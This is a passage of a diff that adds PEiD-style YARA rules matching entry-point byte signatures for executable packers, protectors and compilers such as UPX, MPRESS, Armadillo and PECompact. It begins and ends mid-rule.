+		description = "Netopsystems FEAD Optimizer 1"
+	strings:
+		$0 = {60 BE 00 ?? ?? 00 8D BE 00 ?? ?? FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_30__StarForce_Technology_
+{
+	meta:
+		description = "StarForce 3.0 -> StarForce Technology"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? 57}
+		$1 = {68 ?? ?? ?? ?? FF 25 ?? ?? 63}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Symantec_C_v400_p_Libraries_
+{
+	meta:
+		description = "Symantec C v4.00 + Libraries"
+	strings:
+		$0 = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_101__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector 1.01 -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v119_
+{
+	meta:
+		description = "HACKSTOP v1.19"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+		$1 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LamerStop_10_
+{
+	meta:
+		description = "LamerStop 1.0"
+	strings:
+		$0 = {E8 9D 01 05 B4 30 CD 21 33 C0 8E C0 26 A1 04 00 2E A3 79 01 26 A1 06 00 2E A3 77 01 BA 3F 01 FA 26 89 16 04 00 26 8C 0E 06 00 8B EC 9C 80 76 FF 01 9D 90 D1 89 00 84 36 90 5C FF 84 3B 90 E1 D8 84 14 90 29 84 06 90 E3 C8 84 18 90 8D 02 84 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V097V099__MATCODE_Software__20080416_
+{
+	meta:
+		description = "MPRESS V0.97-V0.99 -> MATCODE Software * 20080416"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 49 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 28 AC 0A C0 74 23 8A C8 24 3F C1 E0 10 66 AD 80 E1 40 74 0F 8B D6 8B CF 03 F0 E8 60 00 00 00 03 F8 EB D8 8B C8 F3 A4 EB D2 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 69 FF FF FF B0 E9 AA B8 45 01 00 00 AB E8 00 00 00 00 58 05 A3 00 00 00 E9 93 00 00 00 53 56 57 8B F9 8B F2 8B DA 03 D8 51 55 33 C0 8B EB 8B DE 2B D2 2B C9 EB 4F 3B DD 73 6C 2B C9 66 8B 03 8D 5B 02 8A CC 80 E4 0F 0B C0 75 02 B4 10 C0 E9 04 80 C1 03 80 F9 12 72 19 8A 0B 66 83 C1 12 43 66 81 F9 11 01 72 0B 66 8B 0B 81 C1 11 01 00 00 43 43 8B F7 2B F0 F3 A4 12 D2 74 0A 72 B9 8A 03 43 88 07 47 EB F2 3B DD 73 1D 0A 13 F9 74 03 43 EB E6 8B 43 01 89 07 8B 43 05 89 47 04 8D 5B 09 8D 7F 08 33 C0 EB DF 5D 8B C7 59 2B C1 5F 5E 5B C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Packer__Northfox_
+{
+	meta:
+		description = "Unknown Packer -> Northfox"
+	strings:
+		$0 = {54 59 68 61 7A 79}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1150__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.5.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 35 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b2_
+{
+	meta:
+		description = "Armadillo v2.60b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+		$1 = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RAR_Archive_
+{
+	meta:
+		description = "RAR Archive"
+	strings:
+		$0 = {52 61 72 21}
+	condition:
+		$0 at entrypoint
+}
+rule _JAM_v211_
+{
+	meta:
+		description = "JAM v2.11"
+	strings:
+		$0 = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEtite_v21__Ian_Luck_
+{
+	meta:
+		description = "PEtite v2.1 -> Ian Luck"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _TTProtect_V10X__somuch__20080807_
+{
+	meta:
+		description = "TTProtect V1.0X -> somuch * 20080807"
+	strings:
+		$0 = {18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 02 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ComProt_10_beta_
+{
+	meta:
+		description = "ComProt 1.0 beta"
+	strings:
+		$0 = {E8 00 00 5E 8B EE 81 ED 03 01 8D B6 16 01 B9 0A 01 F6 14 46 E2 FB 4B F6 72 69 28 FE 32 DE 4B FC 32 EF 76 69 DA FD 44 FE FF 4B FF 32 E9 C3 FF 8B 07 C3 F2 8B C8 C3 F7 8A E7 7C 04 FE 8B 14 4F DF 17 7F FF 01 34 01 71 DA FD 17 88 FF 17 8B FF 14}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v147__v150_
+{
+	meta:
+		description = "PECompact v1.47 - v1.50"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_118_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_v20_
+{
+	meta:
+		description = "Borland Delphi v2.0"
+	strings:
+		$0 = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+		$1 = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_11_SE_v11__Northfox_HCC_
+{
+	meta:
+		description = "MEW 11 SE v1.1 -> Northfox [HCC"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _ZProtect_v146__lifeengines_
+{
+	meta:
+		description = "ZProtect v1.4.6 -> lifeengines"
+	strings:
+		$0 = {87 ?? ?? ?? ?? ?? ?? ?? ?? 87 ?? ?? E9 ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V107V12X__MATCODE_Software__20080730_
+{
+	meta:
+		description = "MPRESS V1.07-V1.2X -> MATCODE Software * 20080730"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 9E 02 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 8B D6 8B CF E8 56 00 00 00 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 8D FF FF FF B0 E9 AA B8 9A 02 00 00 AB E8 00 00 00 00 58 05 1C 02 00 00 E9 0C 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tELock_041c_
+{
+	meta:
+		description = "tELock 0.41c"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _CPAV_
+{
+	meta:
+		description = "CPAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+		$1 = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PassEXE_v20_
+{
+	meta:
+		description = "PassEXE v2.0"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V05__Smoke_
+{
+	meta:
+		description = "EXE Shield V0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_620_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.20"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_20_1_
+{
+	meta:
+		description = "Shrink 2.0 (1)"
+	strings:
+		$0 = {E9 00 00 50 9C FC BE 27 01 8B FE 8C C8 05 00 10 8E C0 06 57 B9 41 00 F3 A4 8B 0E 23 01 BE 68 01 F3 A4 CB 00 00 00 00 BE 68 01 8B 0E 23 01 8A 26 25 01 1E 06 1F 07 BF 00 01 57 AC 3A C4 74 13 8A D8 AA E2 F6 5B 9D 58 06 53 8B D9 8B F1 8B F9 06}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_13_
+{
+	meta:
+		description = "FSG 1.3"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_V200V300__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V3.00 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _Stones_PE_Encryptor_v10__Stone_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0 -> Stone"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorFullSupport_V1601__CGSoftLabs____20080308_
+{
+	meta:
+		description = "eXPressor.FullSupport V1.6.0.1 -> CGSoftLabs   * 20080308"
+	strings:
+		$0 = {55 8B EC 81 EC 74 02 00 00 53 56 57 83 A5 C8 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 5C 83 7D 0C 01 75 2A 8B 45 08 A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 19 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 7D 0C 00 75 0E 83 3D ?? ?? ?? ?? ?? 74 05 E9 F4 0A 00 00 83 3D ?? ?? ?? ?? ?? 74 05 E9 BB 09 00 00 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 1C 6A 10 6A 00 E8 E8 19 00 00 59 50 6A 01 E8 DF 19 00 00 59 50 6A 00 FF 15 ?? ?? ?? ?? E8 27 FF FF FF A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 80 00 00 00 6A 00 FF 15 ?? ?? ?? ?? 89 85 E8 FD FF FF 68 04 01 00 00 8D 85 F0 FD FF FF 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 EF FD FF FF 89 85 D4 FD FF FF 8B 85 D4 FD FF FF 0F BE 00 83 F8 5C 74 0F 8B 85 D4 FD FF FF 48 89 85 D4 FD FF FF EB E3 8B 85 D4 FD FF FF 40 89 85 D4 FD FF FF 8B 85 D4 FD FF FF 8D 8D F0 FD FF FF 2B C1 89 85 AC FD FF FF 8B 8D AC FD FF FF 8D B5 F0 FD FF FF 8D BD FC FE FF FF 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 85 AC FD FF FF 80 A4 05 FD FE FF FF 00 83 A5 D8 FD FF FF 00 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 75 11 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 43 E8 11 0C 00 00 89 85 D8 FD FF FF A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 27 83 BD D8 FD FF FF 00 74 1E 6A 10 FF B5 D4 FD FF FF 6A 18 E8 C3 18 00 00 59 50 6A 00 FF 15 ?? ?? ?? ?? E9 8F 09 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_33_
+{
+	meta:
+		description = "Shrinker 3.3"
+	strings:
+		$0 = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+		$1 = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Stony_Brook_Pascalp_v70_
+{
+	meta:
+		description = "Stony Brook Pascal+ v7.0"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_103__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10}
+		$1 = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MPRESS_V071aV075b__MATCODE_Software____20080310_
+{
+	meta:
+		description = "MPRESS V0.71a-V0.75b -> MATCODE Software   * 20080310"
+	strings:
+		$0 = {57 56 53 51 52 55 E8 10 00 00 00 E8 7A 00 00 00 5D 5A 59 5B 5E 5F E9 84 01 00 00 E8 00 00 00 00 58 05 84 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 AD 2B C8 03 F1 8B C8 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 AC 0A C0 74 37 8A C8 24 3F 80 E1 C0 C1 E0 10 66 AD 80 F9 C0 74 1E F6 C1 40 75 0A 8B C8 2B C0 F3 AA 75 FC EB D9 8B D6 8B CF 03 F0 E8 8F 00 00 00 03 F8 EB CA 8B C8 F3 A4 75 FC EB C2 C3 E8 00 00 00 00 5F 81 C7 71 FF FF FF B0 E9 AA B8 9A 01 00 00 AB 2B FF E8 00 00 00 00 58 05 FE 00 00 00 8B 78 08 8B D7 8B 78 04 0B FF 74 53 8B 30 03 F0 2B F2 8B EE 8B C2 8B 45 3C 03 C5 8B 48 34 2B CD 74 3D E8 00 00 00 00 58 05 DD 00 00 00 8B 10 03 F2 03 FE 2B C0 AD 3B F7 73 25 8B D8 AD 3B F7 73 1E 8B D0 83 EA 08 03 D6 66 AD 0A E4 74 0B 25 FF 0F 00 00 03 C3 03 C5 29 08 3B F2 73 D8 EB E9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RJ_Crush_110_
+{
+	meta:
+		description = "RJ Crush 1.10"
+	strings:
+		$0 = {06 FC 8C C8 BA 00 00 03 D0 52 BA 00 00 52 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E D8 8E C3 BE 47 00 AD 8B E8 B2 10 CB FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v10__v11_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.0 / v1.1"
+	strings:
+		$0 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+		$1 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_3X5X__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.X-5.X -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+		$2 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Thinstall_Embedded_V2521__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.521 -> Jitit"
+	strings:
